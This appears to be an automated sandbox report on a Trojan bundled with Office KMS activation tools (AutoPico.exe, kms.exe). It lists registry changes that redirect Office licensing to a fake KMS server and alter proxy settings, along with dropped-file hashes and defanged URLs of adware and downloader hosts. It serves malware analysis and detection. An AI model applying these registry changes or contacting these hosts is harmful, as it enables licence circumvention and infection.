"OutlookName" = "Microsoft Outlook"
"ConvertToEdition" = "Microsoft Office Professional 2010"
"AccessRuntimeNameVersion" = "Microsoft® Access® Runtime 2010"
"AccessRuntimeName" = "Microsoft Access Runtime"
"InfoPathName" = "Microsoft InfoPath"
"WordConsumerName" = "Microsoft Word Starter"
"ProductNameNonQualified" = "Microsoft Office"
"OutlookStandardNameVersion" = "Microsoft® Outlook® 2010"
"ExcelName" = "Microsoft Excel"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"ProductName" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{FDF3ECB9-B56F-43B2-A9B8-1B48B6BAE1A7}]
"ProductNameBrand" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"AccessName" = "Microsoft Access"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"SuiteName" = "Part of Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"OneNoteName" = "Microsoft OneNote"
"OutlookStandardName" = "Microsoft Outlook"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"SuiteName" = "Part of Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"ExcelNameVersion" = "Microsoft® Excel® 2010"
"VisioNameVersion" = "Microsoft® Visio® 2010"
"projectname" = "Microsoft Project"
"ProjectNameVersion" = "Microsoft® Project 2010"
"AccessNameVersion" = "Microsoft® Access® 2010"
"OutlookNameVersion" = "Microsoft® Outlook® 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"ProductCode" = "{90140000-0011-0000-0000-0000000FF1CE}"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"ProductNameBrand" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"InfoPathNameVersion" = "Microsoft® InfoPath® 2010"
"VisualWebDeveloperVersion" = "Microsoft® Visual Studio® Web Authoring Component"
"WordConsumerNameVersion" = "Microsoft® Word Starter 2010"
"GrooveNameVersion" = "Microsoft® SharePoint® Workspace 2010"
"OneNoteNameVersion" = "Microsoft® OneNote® 2010"
"PowerPointName" = "Microsoft PowerPoint"
"VisioSDKName" = "Microsoft Visio Software Development Kit (SDK)"
"SharePointDesignerNameVersion" = "Microsoft® SharePoint® Designer 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{FDF3ECB9-B56F-43B2-A9B8-1B48B6BAE1A7}]
"ProductCode" = "{90140000-0011-0000-0000-0000000FF1CE}"
"SuiteName" = "Part of Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"ExcelConsumerNameVersion" = "Microsoft® Excel® Starter 2010"
"WordName" = "Microsoft Word"
"VisualWebDeveloperName" = "Microsoft Visual Studio Web Authoring Component"
"SharePointDesignerName" = "Microsoft SharePoint Designer"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"ProductName" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"PowerPointNameVersion" = "Microsoft® PowerPoint® 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"ProductCode" = "{90140000-0011-0000-0000-0000000FF1CE}"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"ExcelConsumerName" = "Microsoft Excel Starter"
"PublisherNameVersion" = "Microsoft® Publisher 2010"
"PublisherName" = "Microsoft Publisher"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"ProductNameBrand" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"VisioName" = "Microsoft Visio"

The process regedit.exe:2240 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-1000-0000000FF1CE}]
"VisioSDKName" = "Microsoft Visio Software Development Kit (SDK)"
"OutlookStandardName" = "Microsoft Outlook"
"PowerPointName" = "Microsoft PowerPoint"
"ExcelName" = "Microsoft Excel"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"ProductCode" = "{90140000-0011-0000-1000-0000000FF1CE}"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-1000-0000000FF1CE}]
"InfoPathNameVersion" = "Microsoft® InfoPath® 2010"
"ProductNameNonQualified" = "Microsoft Office"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"ProductName" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-1000-0000000FF1CE}]
"OneNoteNameVersion" = "Microsoft® OneNote® 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"ProductNameBrand" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-1000-0000000FF1CE}]
"AccessNameVersion" = "Microsoft® Access® 2010"
"VisioNameVersion" = "Microsoft® Visio® 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"SuiteName" = "Part of Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-1000-0000000FF1CE}]
"ExcelConsumerName" = "Microsoft Excel Starter"
"WordConsumerNameVersion" = "Microsoft® Word Starter 2010"
"SharePointDesignerNameVersion" = "Microsoft® SharePoint® Designer 2010"
"SharePointDesignerName" = "Microsoft SharePoint Designer"
"AccessRuntimeName" = "Microsoft Access Runtime"
"AccessRuntimeNameVersion" = "Microsoft® Access® Runtime 2010"
"AccessName" = "Microsoft Access"
"OneNoteName" = "Microsoft OneNote"
"WordNameVersion" = "Microsoft® Word 2010"
"VisualWebDeveloperVersion" = "Microsoft® Visual Studio® Web Authoring Component"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"ProductNameBrand" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{FDF3ECB9-B56F-43B2-A9B8-1B48B6BAE1A7}]
"ProductNameBrand" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-1000-0000000FF1CE}]
"ConvertToEdition" = "Microsoft Office Professional 2010"
"VisioName" = "Microsoft Visio"
"ExcelConsumerNameVersion" = "Microsoft® Excel® Starter 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{FDF3ECB9-B56F-43B2-A9B8-1B48B6BAE1A7}]
"ProductCode" = "{90140000-0011-0000-1000-0000000FF1CE}"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"ProductName" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"ProductCode" = "{90140000-0011-0000-1000-0000000FF1CE}"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-1000-0000000FF1CE}]
"PowerPointNameVersion" = "Microsoft® PowerPoint® 2010"
"VisioSDKNameVersion" = "Microsoft® Visio® 2010 Software Development Kit (SDK)"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{FDF3ECB9-B56F-43B2-A9B8-1B48B6BAE1A7}]
"ProductName" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-1000-0000000FF1CE}]
"OutlookNameVersion" = "Microsoft® Outlook® 2010"
"WordName" = "Microsoft Word"
"VisualWebDeveloperName" = "Microsoft Visual Studio Web Authoring Component"
"WordConsumerName" = "Microsoft Word Starter"
"ProjectNameVersion" = "Microsoft® Project 2010"
"GrooveName" = "Microsoft SharePoint Workspace"
"PublisherNameVersion" = "Microsoft® Publisher 2010"
"InfoPathName" = "Microsoft InfoPath"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"SuiteName" = "Part of Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{FDF3ECB9-B56F-43B2-A9B8-1B48B6BAE1A7}]
"SuiteName" = "Part of Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-1000-0000000FF1CE}]
"PublisherName" = "Microsoft Publisher"
"projectname" = "Microsoft Project"
"GrooveNameVersion" = "Microsoft® SharePoint® Workspace 2010"
"OutlookName" = "Microsoft Outlook"
"OutlookStandardNameVersion" = "Microsoft® Outlook® 2010"
"ExcelNameVersion" = "Microsoft® Excel® 2010"

The process regedit.exe:1796 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"ExcelConsumerNameVersion" = "Microsoft® Excel® Starter 2010"
"WordConsumerName" = "Microsoft Word Starter"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"SuiteName" = "Part of Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"ProductCode" = "{90140000-0011-0000-0000-0000000FF1CE}"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"projectname" = "Microsoft Project"
"InfoPathName" = "Microsoft InfoPath"
"OutlookStandardNameVersion" = "Microsoft® Outlook® 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{FDF3ECB9-B56F-43B2-A9B8-1B48B6BAE1A7}]
"ProductName" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"ProductNameBrand" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"ProjectNameVersion" = "Microsoft® Project 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{FDF3ECB9-B56F-43B2-A9B8-1B48B6BAE1A7}]
"ProductCode" = "{90140000-0011-0000-0000-0000000FF1CE}"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"WordName" = "Microsoft Word"
"AccessNameVersion" = "Microsoft® Access® 2010"
"GrooveNameVersion" = "Microsoft® SharePoint® Workspace 2010"
"ExcelName" = "Microsoft Excel"
"OneNoteNameVersion" = "Microsoft® OneNote® 2010"
"PublisherName" = "Microsoft Publisher"
"GrooveName" = "Microsoft SharePoint Workspace"
"VisioSDKNameVersion" = "Microsoft® Visio® 2010 Software Development Kit (SDK)"
"ConvertToEdition" = "Microsoft Office Professional 2010"
"VisualWebDeveloperVersion" = "Microsoft® Visual Studio® Web Authoring Component"
"OneNoteName" = "Microsoft OneNote"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"ProductName" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"ExcelConsumerName" = "Microsoft Excel Starter"
"OutlookNameVersion" = "Microsoft® Outlook® 2010"
"VisioSDKName" = "Microsoft Visio Software Development Kit (SDK)"
"ExcelNameVersion" = "Microsoft® Excel® 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"ProductName" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"VisualWebDeveloperName" = "Microsoft Visual Studio Web Authoring Component"
"PowerPointName" = "Microsoft PowerPoint"
"VisioNameVersion" = "Microsoft® Visio® 2010"
"VisioName" = "Microsoft Visio"
"AccessRuntimeNameVersion" = "Microsoft® Access® Runtime 2010"
"PublisherNameVersion" = "Microsoft® Publisher 2010"
"PowerPointNameVersion" = "Microsoft® PowerPoint® 2010"
"SharePointDesignerName" = "Microsoft SharePoint Designer"
"WordNameVersion" = "Microsoft® Word 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{6F327760-8C5C-417C-9B61-836A98287E0C}]
"SuiteName" = "Part of Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{FDF3ECB9-B56F-43B2-A9B8-1B48B6BAE1A7}]
"SuiteName" = "Part of Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"SharePointDesignerNameVersion" = "Microsoft® SharePoint® Designer 2010"
"InfoPathNameVersion" = "Microsoft® InfoPath® 2010"
"AccessName" = "Microsoft Access"
"AccessRuntimeName" = "Microsoft Access Runtime"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"ProductCode" = "{90140000-0011-0000-0000-0000000FF1CE}"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{FDF3ECB9-B56F-43B2-A9B8-1B48B6BAE1A7}]
"ProductNameBrand" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"OutlookName" = "Microsoft Outlook"
"OutlookStandardName" = "Microsoft Outlook"
"WordConsumerNameVersion" = "Microsoft® Word Starter 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{191301D3-A579-428C-B0C7-D7988500F9E3}]
"ProductNameBrand" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"ProductNameNonQualified" = "Microsoft Office"

The process AutoPico.exe:4080 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform]
"KeyManagementServiceName" = "127.204.126.87"

[HKLM\SOFTWARE\Microsoft\AudioCompressionManager\DriverCache\msacm.l3acm]
"fdwSupport" = "1"

[HKCU\Software\Microsoft\Multimedia\ActiveMovie\Filter Cache]
"0" = "8C 53 00 00 65 68 63 66 00 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\AudioCompressionManager\DriverCache\msacm.l3acm]
"aFormatTagCache" = "01 00 00 00 10 00 00 00 55 00 00 00 1E 00 00 00"

[HKCU\Control Panel\Desktop]
"PaintDesktopVersion" = "0"

[HKLM\System\CurrentControlSet\services\osppsvc]
"Start" = "2"

[HKLM\System\CurrentControlSet\Control\MediaResources\DirectSound\Speaker Configuration]
"Speaker Configuration" = "4"

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform]
"KeyManagementServicePort" = "1688"

[HKLM\SOFTWARE\Microsoft\AudioCompressionManager\DriverCache\msacm.l3acm]
"cFilterTags" = "0"
"cFormatTags" = "2"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Multimedia\ActiveMovie\Filter Cache]
"1"

The process OSPPSVC.EXE:1948 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\b9da55f3-8420-4c6f-b8a8-b89bd9ef472f]
"3" = "90 CB 4E 24 1F 0F 40 6E 16 CC 4A 88 3B D0 2D DC"
"2" = "63 A1 FC 3C 71 6C 2F 17 F5 98 06 2D BC 73 45 26"
"1" = "9E F3 70 B9 CE 28 09 8F C4 E7 C8 79 5C E1 3B 23"
"0" = "55 A5 CD CC E5 45 B3 2B BA 8A 5B 7B D7 D0 7B 08"
"4" = "95 80 75 12 33 16 8A 7E 0F 43 45 AD CF 82 D4 77"

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data]
"Directory" = "013d7f93-0f68-43da-9862-eaac97b8a865"

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\53b8a9c0-a15c-4ee4-9c45-c67cb7aec58c]
"2" = "24 B8 A1 25 8D 39 4D 3E D2 37 6A 87 14 EA 16 85"
"1" = "61 4A CB 8D C1 84 B0 0B BC 71 4C 1A C0 D5 31 78"
"0" = "57 6C F1 51 CE CC 70 70 BA 27 AA 48 19 51 37 53"

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\a335880e-bfd9-4b06-8500-783d88d7b7ca]
"3" = "C4 F7 4C 0A 53 A8 06 5C D1 44 10 E6 9D E4 02 E4"
"2" = "76 30 01 BC 6A D3 D1 6F 8B F8 4E 9B 1E BA 80 16"
"1" = "EA EC 91 2D C3 92 95 C8 4C 61 C6 1C DE C5 21 77"
"0" = "14 CC 27 9B 33 2E A1 29 F2 FA 90 9A 29 F4 23 7D"

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\10d4099c-e4ca-4191-a935-eafbbfdbf89b]
"1" = "96 A6 E6 AF 8A 6C DB F0 5A 73 A9 DC 00 60 28 23"
"0" = "7A 11 DB 11 4E 32 A7 E1 49 CE 98 56 76 BC 5B 9E"
"3" = "49 DC 84 CE E4 39 E6 5D E4 95 54 77 30 40 F6 0C"
"2" = "7B FE 68 7E 74 D6 31 59 64 15 24 09 F4 B0 D3 3E"

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\d9cbf3b3-f6cb-46b7-b3f3-d508e910a2a5]
"3" = "AD 91 CB 29 E8 24 B8 5B 09 0B 74 3A 5B ED 7D 6F"
"2" = "7D AC 9F 74 C0 A0 5A DC 2D D9 ED BA 7E D8 12 6B"
"1" = "B6 80 F8 44 8C 4E 10 6F EE 6E 45 77 F1 F6 C3 E2"
"0" = "DE 3E 69 F4 71 8F 52 BA 73 43 56 43 F8 BE 3A 08"

[HKU\S-1-5-20\Software\Microsoft\OfficeSoftwareProtectionPlatform]
"VLRenewalSchedule" = "81 6A CB 9F 01 00 00 00 00 00 00 00 04 00 00 00"

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\76dcc79a-9386-4f8e-b8eb-1873da3ec805]
"0" = "2E B0 BA 21 D8 C8 60 49 A2 E3 89 E5 44 F4 0F 9D"
"1" = "F9 44 02 A0 50 72 8F A9 76 F7 83 AB BC 4E BB E8"
"2" = "FB 56 A3 03 D8 FF 26 05 9C EF 3C A5 1D A6 8D 8F"
"3" = "E1 2C 67 E6 D0 48 BD 47 6C 1A 5D F1 9A 7E 2C 9C"
"4" = "23 AC B6 D9 0B C3 E3 82 6C DE 7E F4 51 95 77 41"

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\6d9005ee-cb7d-431c-bdc4-c4fa835003f5]
"0" = "E5 5E C5 E4 0E 60 46 2A 3E 3B 1D E0 3D 27 19 97"
"1" = "A3 B1 0B 78 D5 4E 93 AA 38 1A 32 53 61 E2 3F 1A"
"2" = "59 57 F6 77 B2 9C 18 A5 E9 AC 72 7D 8F 4D 22 6E"
"3" = "BA C0 A2 7C B8 C8 7E 13 EF 56 7D 3A 79 B4 E9 05"

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\431656da-0c97-41da-a5b7-b86e67295eb6]
"2" = "5C 67 EE A2 7A 2D 35 94 94 94 16 40 24 CF D6 E6"
"1" = "87 9D 39 9A 90 F8 46 2C F8 1A 5B 42 F7 D3 1F 70"
"0" = "9C C3 38 5D 28 3A 2F A9 44 35 AF 78 1C 24 EC 48"

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\19eb2dce-2db5-4587-92ae-4466910951f8]
"2" = "98 42 1C 44 26 9D 25 4C 1A FB A2 A3 3A B9 E2 5F"
"3" = "5B 6F DA 17 65 C0 C0 60 80 C2 2A 76 42 74 D0 C6"
"0" = "BD E2 EA FF 56 C3 CE 83 17 ED A1 0B FF DE 9F BA"
"1" = "8B 84 F9 7D E8 75 29 23 E3 08 47 2E C2 08 56 12"

The Trojan deletes the following registry key(s):

[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\53b8a9c0-a15c-4ee4-9c45-c67cb7aec58c]
[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\013d7f93-0f68-43da-9862-eaac97b8a865]
[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\19eb2dce-2db5-4587-92ae-4466910951f8]
[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\a335880e-bfd9-4b06-8500-783d88d7b7ca]
[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\6d9005ee-cb7d-431c-bdc4-c4fa835003f5]
[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\d9cbf3b3-f6cb-46b7-b3f3-d508e910a2a5]
[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\76dcc79a-9386-4f8e-b8eb-1873da3ec805]
[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\10d4099c-e4ca-4191-a935-eafbbfdbf89b]
[HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\data\431656da-0c97-41da-a5b7-b86e67295eb6]

The process kms.exe:3348 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

Dropped PE files

MD5 File path
4b2c431586f3b2bcf1ff9b9fa62d4da0 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\5085757\kms.exe
cfe1c391464c446099a5eb33276f6d57 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\AutoPico.exe
1397b23f30681f97049df61f94f54d05 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\DevComponents.DotNetBar2.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 651134 651264 5.07332 32c610c7a083e6567573abb6f064bc23
.rdata 655360 23148 23552 3.32899 e42f631dbf912d54611c508a2ffc7685
.data 679936 4872 2048 1.58133 a3b0fcae795191a66d5c24e94fa13e45
.gfids 688128 208 512 1.11946 d5c97fb6163a79ed387fe87f291b8b8f
.rsrc 692224 1380136 1380352 5.5169 c46773121d1bd04ed11864c75f7eb600

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 171
015094c3630e678862a33852b335344a
68620b246faf20227ec3aa85e9560d32
aab7dc3608cae605c99fbdf1487506e2
3769a71586f4e8c181cd62120d6f66b6
6cf5e01a697262a8a2e4799aa6a48988
8888f60a3ec12c947630e9a8e05a444b
0b06bbcd1d4b147b55b55eb959064f48
d05c022f9cac610d67c6eec5b0e491ed
b4258d9c951a645b7fdffea9a9467dd2
28ce9a02da3a223acc65e438dc2c712d
cfaadfcaf7fe7e61e592ac64d4a661f8
12191e4de56805287d2a31b6107ea680
04fdb52fe4f72f764f00c2e7bd8c395e
656ef87d616925db945479b13c7a4116
a82728e24c3dc3ea1474564eb49c57dd
a0dbfe28dcd2a50392ecc2eda59f9265
cbd475bbfc91c0dc695250b31f404919
c6276fc85b18d6de2cee0c61681d8b79
b79346dc161c2349ce660d323a0ae394
b2becb285674e3bef1af103e3c8cc43f
2b7056b385dbd99529ee7e44b329a8dc
a4aaad540474d947e0212be99a7fa508
7618402e78adb82dfe63c9e32dc20b4c
1b5694eeefeb8b75c1c2c1716ff11624
9029b51753f9a63d47a7a425feeafde7
178d48f9f2a5cdb3e22af627c05fcd5e

URLs

URL IP
hxxp://lamp.troublerifle.bid/h_redir.php?offer_id=4&aff_id=2629&source=6935&aff_sub=&aff_sub2=&aff_sub3=&aff_sub4=LP_DEF&aff_sub5=1042698461&url=http://lamp.troublerifle.bid/offer.php?affId={aff_id}&trackingId=314068077&instId=6935&ho_trackingid={transaction_id}&cc={country_code}&cc_typ=ho&sb=x86&net=4.5.50709&ie=9.0.8112.16421&wv=7sp1&db=InternetExplorer&uac=1&cid=5c12d1104cca24294ae7d8d45ce8d028&osd=1604&res=1276x846&v=3 52.85.177.60
hxxp://lamp.troublerifle.bid/offer.php?affId=2629&trackingId=314068077&instId=6935&ho_trackingid=HO5acf8db4ef972&cc=UA&cc_typ=ho&sb=x86&net=4.5.50709&ie=9.0.8112.16421&wv=7sp1&db=InternetExplorer&uac=1&cid=5c12d1104cca24294ae7d8d45ce8d028&osd=1604&res=1276x846&v=3 52.85.177.60
hxxp://lip.healthcakes.men/installer.php?affId=2629&instId=6935&ho_trackingid=HO5acf8db4ef9725acf8db530996&trackingId=314068077&cc=UA&untracked=&uac=1&osd=1604&net=4.5.50709&cid=5c12d1104cca24294ae7d8d45ce8d028&v=3 52.85.177.46
hxxp://kiss.oatmealscene.loan/installer.php?affId=2629&instId=6935&ho_trackingid=HO5acf8db4ef9725acf8db530996&trackingId=314068077&cc=UA&untracked=&uac=1&osd=1604&net=4.5.50709&cid=5c12d1104cca24294ae7d8d45ce8d028&v=3 54.88.21.193
hxxp://d2adi7hu49xk5t.cloudfront.net/normal_bg4.png 52.85.177.210
hxxp://kiss.oatmealscene.loan/report.php?typ=conversion&transId=314068077&affId=2629&instId=6935&ho_transId=HO5acf8db4ef9725acf8db530996&s1=&s2=&s3=&s4=LP_DEF&s5=1042698461&cid=5c12d1104cca24294ae7d8d45ce8d028&uac=true&randid=0.652981602515224 54.88.21.193
hxxp://kiss.oatmealscene.loan/report.php?typ=sys&affId=2629&instId=6935&ho_transId=HO5acf8db4ef9725acf8db530996&transId=314068077&chk_s_b=VMware-56 4d a7 48 b6 81 1f 90-3f 36 cc ce af 92 9a d2&chk_s_v=HPQOEM - 6040000&chk_c_ma=VMware, Inc.&chk_c_mo=VMware Virtual Platform&chk_mac=00:50:56:3C:AC:7120:41:53:59:4E:FF&randid=0.07360729693110823 54.88.21.193
hxxp://bestsoftwaredownloadfree.com/setup/kms.exe 71.40.108.8
hxxp://1jptv.voluumtrk2.com/08e0b779-c1db-404a-b9a2-b4657d709f22
hxxp://ic-dc.bundlessafevault.com/pr/3e07b12e-e7d1-11e6-836f-02e33f60d095/typ_1.html 52.85.177.62
hxxp://ic-dc.bundlessafevault.com/pr/public/css/style.css 52.85.177.62
hxxp://ic-dc.bundlessafevault.com/pr/public/js/jquery.min.js 52.85.177.62
hxxp://ic-dc.bundlessafevault.com/pr/public/js/detector.js 52.85.177.62
hxxp://s3-1-w.amazonaws.com/pr/public/js/adframe.js
hxxp://s3-1-w.amazonaws.com/ads.js?stam=err
hxxp://n135adserv.com/ads?key=3a71f57f6d976f956c5f61dbdd4adf7b&ch=&cp.chan=&cp.vtl=&cp.crr=&cp.exld=
hxxp://n135adserv.com/impression.gif?b=120492&p=5103&c=10390&h=177a937b0d9a7a39eee4f1dd260ad305&l=UA&sh=800&sw=1280&ad.trans.id=o3395g3cvnxt&cps=Y2hhbg*~dnRs*~Y3Jy*~ZXhsZA*&s=10529c7be37773fb4b6457ccb63e7fd3&t=1523551682009
hxxp://1049256531.rsc.cdn77.org/files135/65/10390/120492/FB_RU_800_Icons2.jpg
hxxp://ic-dc.bundlessafevault.com/favicon.ico 52.85.177.62
kms.digiboy.ir 162.223.90.90
ic-dc.s3.amazonaws.com 52.216.83.64
dns.msftncsi.com 131.107.255.255
3rss.vicp.net 61.142.176.23
www.1-1ads.com 212.124.115.196
